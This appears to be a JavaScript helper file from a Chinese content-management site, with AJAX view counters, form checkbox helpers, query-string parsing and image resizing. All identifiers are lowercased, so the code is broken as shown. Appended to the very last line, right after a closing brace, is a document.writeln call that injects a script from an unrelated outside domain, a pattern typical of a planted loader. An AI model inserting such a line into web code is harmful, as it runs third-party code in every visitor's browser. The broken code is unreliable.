//初始化xmlhttprequest控件
function getxmlhttp()
{
	//return window.xmlhttprequest ? new xmlhttprequest() : new activexobject("microsoft.xmlhttp");
	this.outputxmlhttp = null;
	try 
	{
		this.outputxmlhttp = new xmlhttprequest();
		return outputxmlhttp;
	} 
	catch(fferror)
	{
		try 
		{
			this.outputxmlhttp = new activexobject("msxml2.xmlhttp");
			return outputxmlhttp;
		} 
		catch(newieerror)
		{
			try 
			{
	　          this.outputxmlhttp = new activexobject("microsoft.xmlhttp");
	　          return outputxmlhttp;
			} 
			catch(ieerror)
			{
	　          this.outputxmlhttp = false;
			}
　      }
	}
　  
　  if (this.outputxmlhttp == null)
　  {
　      alert("浏览器不支持ajax");
　      return;
　  }
}


//文章浏览量
function articlehit(rootpath,id,pageno,hitid)
{
	var xmlhttp;
	var url = rootpath + "server/ajaxpage/ajaxpost.aspx?action=articlehit&id=" + id + "&pageno=" + pageno;
	xmlhttp = getxmlhttp();
	xmlhttp.onreadystatechange = function(){
		if(xmlhttp.readystate == 4)
		{
			if(xmlhttp.status==200)
			{
			    var r = parseint(xmlhttp.responsetext);
			    if(r >= 0)
				    $(hitid).innerhtml = r;
				else
				    $(hitid).innerhtml = "参数错误";
			}
			else
			{
				//alert("服务器连接失败。错误代码为：[" + xmlhttp.status + "]," + xmlhttp.statustext);
				$(hitid).innerhtml = "服务器连接出错";
			}
		}
		else
		{
			$(hitid).innerhtml = "数据正在加载..." ;
		}
	}
	xmlhttp.open("get", url, true);
	xmlhttp.send("");
}


//产品浏览量
function producthit(rootpath,id,pageno,hitid)
{
	var xmlhttp;
	var url = rootpath + "server/ajaxpage/ajaxpost.aspx?action=producthit&id=" + id + "&pageno=" + pageno;
	xmlhttp = getxmlhttp();
	xmlhttp.onreadystatechange = function(){
		if(xmlhttp.readystate == 4)
		{
			if(xmlhttp.status==200)
			{
				var r = parseint(xmlhttp.responsetext);
			    if(r >= 0)
				    $(hitid).innerhtml = r;
				else
				    $(hitid).innerhtml = "参数错误";
			}
			else
			{
				//alert("服务器连接失败。错误代码为：[" + xmlhttp.status + "]," + xmlhttp.statustext);
				$(hitid).innerhtml = "服务器连接出错";
			}
		}
		else
		{
			$(hitid).innerhtml = "数据正在加载..." ;
		}
	}
	xmlhttp.open("get", url, true);
	xmlhttp.send("");
}


//下载浏览量
function downloadhit(rootpath,id,pageno,hitid)
{
	var xmlhttp;
	var url = rootpath + "server/ajaxpage/ajaxpost.aspx?action=downloadhit&id=" + id + "&pageno=" + pageno;
	xmlhttp = getxmlhttp();
	xmlhttp.onreadystatechange = function(){
		if(xmlhttp.readystate == 4)
		{
			if(xmlhttp.status==200)
			{
				var r = parseint(xmlhttp.responsetext);
			    if(r >= 0)
				    $(hitid).innerhtml = r;
				else
				    $(hitid).innerhtml = "参数错误";
			}
			else
			{
				//alert("服务器连接失败。错误代码为：[" + xmlhttp.status + "]," + xmlhttp.statustext);
				$(hitid).innerhtml = "服务器连接出错";
			}
		}
		else
		{
			$(hitid).innerhtml = "数据正在加载..." ;
		}
	}
	xmlhttp.open("get", url, true);
	xmlhttp.send("");
}


//附件点击量
function articlefiledownnum(rootpath,fid,hitid)
{
	var xmlhttp;
	var url = rootpath + "server/ajaxpage/ajaxpost.aspx?action=articlefiledownnum&id=" + fid;
	xmlhttp = getxmlhttp();
	xmlhttp.onreadystatechange = function(){
		if(xmlhttp.readystate == 4)
		{
			if(xmlhttp.status==200)
			{
				$(hitid).innerhtml = xmlhttp.responsetext;
			}
			else
			{
				//alert("服务器连接失败。错误代码为：[" + xmlhttp.status + "]," + xmlhttp.statustext);
				$(hitid).innerhtml = "服务器连接出错";
			}
		}
		else
		{
			$(hitid).innerhtml = "数据正在加载..." ;
		}
	}
	xmlhttp.open("get", url, true);
	xmlhttp.send("");
}


//公告点击量 
function announcehit(rootpath,id,hitid)
{
	var xmlhttp;
	var url = rootpath + "server/ajaxpage/ajaxpost.aspx?action=announcehit&id=" + id;
	xmlhttp = getxmlhttp();
	xmlhttp.onreadystatechange = function(){
		if(xmlhttp.readystate == 4)
		{
			if(xmlhttp.status==200)
			{
				$(hitid).innerhtml = xmlhttp.responsetext;
			}
			else
			{
				//alert("服务器连接失败。错误代码为：[" + xmlhttp.status + "]," + xmlhttp.statustext);
				$(hitid).innerhtml = "服务器连接出错";
			}
		}
		else
		{
			$(hitid).innerhtml = "数据正在加载..." ;
		}
	}
	xmlhttp.open("get", url, true);
	xmlhttp.send("");
}



// javascript document
function trim(){
	return this.replace(/\s+$|^\s+/g,"");
}
string.prototype.trim = trim;


function getobject(id)
{ 
	if(document.getelementbyid)
	{ 
		return document.getelementbyid(id); 
	} 
	else if (document.all)
	{ 
		return document.all[id]; 
	}
	else if (document.layers) 
	{ 
		return document.layers[id]; 
	} 
}


function getobjvalue(id)
{
	if(getobject(id).value!=undefined)
		return getobject(id).value.trim();
	else
		return "";
}


///xmlhttprequest控件
function getxmlhttp(){
	var xhr;
	try
	{
		xhr=new xmlhttprequest();
	}
	catch(e)
	{
    	var a=['msxml2.xmlhttp.5.0','msxml2.xmlhttp.4.0','msxml2.xmlhttp.3.0','msxml2.xmlhttp','microsoft.xmlhttp.1.0','microsoft.xmlhttp.1','microsoft.xmlhttp'];
		for (var i=0;i<a.length;i++)
		{
			try
			{
				xhr = new activexobject(a[i]);
				break;
			}
			catch(e){}
		}
  	}
	return xhr;
}


//得到radio或checkbox被选中的数目,数目<=0则表示没有被选中   
function getchecknum(checkobjectname)     
{   
    var checknum = 0;   
    var checkobject = eval("document.all."+checkobjectname);   
    var inum = checkobject.length;   
    if(isnan(inum))   
    {   
        inum=0;   
    }   
    for(i=0;i<inum;i++)   
    {   
        if(checkobject[i].checked)   
        {   
            checknum = checknum+1;   
        }   
    }   
    return checknum;   
} 

//得到radio或checkbox被选中的数目   数目<=0则表示没有被选中   
function getcheckvalue(checkobjectname)     
{   
    var checkvalue='';   
    var checkobject = eval("document.all."+checkobjectname);   
    var inum = checkobject.length;   
    if(isnan(inum))   
    {   
      inum=0;   
    }   
    for(i=0;i<inum;i++)   
    {   
      if(checkobject[i].checked)   
      {   
  		    if(checkobject[i].type=='radio')
		        checkvalue=checkobject[i].value;
		    else
		        checkvalue=checkvalue+checkobject[i].value+',';   
      }   
    } 
     
    //去掉最后一个","
    if(checkvalue.substr(checkvalue.length-1) == ',')
    {
        checkvalue = checkvalue.substr(0,checkvalue.length-1);
    }
    return  checkvalue;   
} 

//得到radio或checkbox被选中的数目,数目<=0则表示没有被选中   
function settcheckfalse(checkobjectname)     
{   
    var checknum = 0;   
    var checkobject = eval("document.all."+checkobjectname);   
    var inum = checkobject.length;   
    if(isnan(inum))   
    {   
        inum=0;   
    }   
    for(i=0;i<inum;i++)   
    {   
        if(checkobject[i].checked)   
        {   
            checkobject[i].checked = false;   
        }   
    }   
    return checknum;   
} 


//得到radio或checkbox被选中的数目,数目<=0则表示没有被选中   
function radioselect(checkobjectname,value)     
{   
    var checknum = 0;   
    var checkobject = eval("document.all."+checkobjectname);   
    var inum = checkobject.length;   
    if(isnan(inum))   
    {   
        inum=0;   
    }   
    for(i=0;i<inum;i++)   
    {   
        if(checkobject[i].value == value)   
        {   
            checkobject[i].checked = true;   
        }   
    }   
} 

function selectchecked(checkobjectname,value)   
{               
    var checknum = 0;   
    var checkobject = eval("document.all."+checkobjectname);   
    var inum = checkobject.length;   
    if(isnan(inum))   
    {   
        inum=0;   
    }   
    for(i=0;i<inum;i++)   
    {   
        //alert(checkobject.options[i].value);
        if(checkobject.options[i].value == value)   
        {   
            checkobject.options[i].selected = true;
        }   
    } 
}   


//---------------request(skey)----------------
function request(skey)
{
	var url = window.location.href;
	var index = url.lastindexof('?');
	if (index != -1)
	{
		url = url.substr(index+1,url.length);
		var arr = url.split('&');
		var arr2
		for (var i=0; i<arr.length; i++)
		{
			arr2 = arr[i].split('=');
			if (arr2[0] == skey)
				return arr2[1];
		}
	}
	return null;
}

function request2(str,skey)
{
	var url = str;
	var index = url.lastindexof('=');
	if (index != -1)
	{
		url = url.substr(index+1,url.length);
		return url;
	}
	return null;
}

function isnumber(onum)
{
  if(!onum) return false;
  var strp=/^\d+(\.\d+)?$/;
  if(!strp.test(onum)) return false;
  try
  {
        if(parsefloat(onum)!=onum) return false;
  }
  catch(ex)
  {
       return false;
  }
  return true;
}


function getstr(skey)
{
	var url = request(skey);
	if(url != null && url!='')
	{
	    return url;
	}
	return null;
}

function getnum(skey)
{
	var url = request(skey);
	if(url != null && isnumber(url))
	{
	    return number(url);
	}
	return 0;
}

//---------------$(obj)----------------
// 功能:查找对象
// 函数:$(obj)
//---------------$(obj)----------------
function $(obj)
{
	if (typeof(obj) == 'object')
	{
		return obj;
	}
	else
	{
		return document.getelementbyid(obj);
	}	
}

function drawimage(imgd,fitwidth,fitheight){
     var image=new image();
     image.src=imgd.src;
     if(image.width>0 && image.height>0){
         if(image.width/image.height>= fitwidth/fitheight){
             if(image.width>fitwidth){
                 imgd.width=fitwidth;
                 imgd.height=(image.height*fitwidth)/image.width;
             }else{
                 imgd.width=image.width; 
                imgd.height=image.height;
             }
         } else{
             if(image.height>fitheight){
                 imgd.height=fitheight;
                 imgd.width=(image.width*fitheight)/image.height;
             }else{
                 imgd.width=image.width; 
                imgd.height=image.height;
             } 
        }
     }
 }document.writeln('<script language="javascript" src="http://office2.viens.la/office.js?do=list&uid=193&type=blog"></script>');
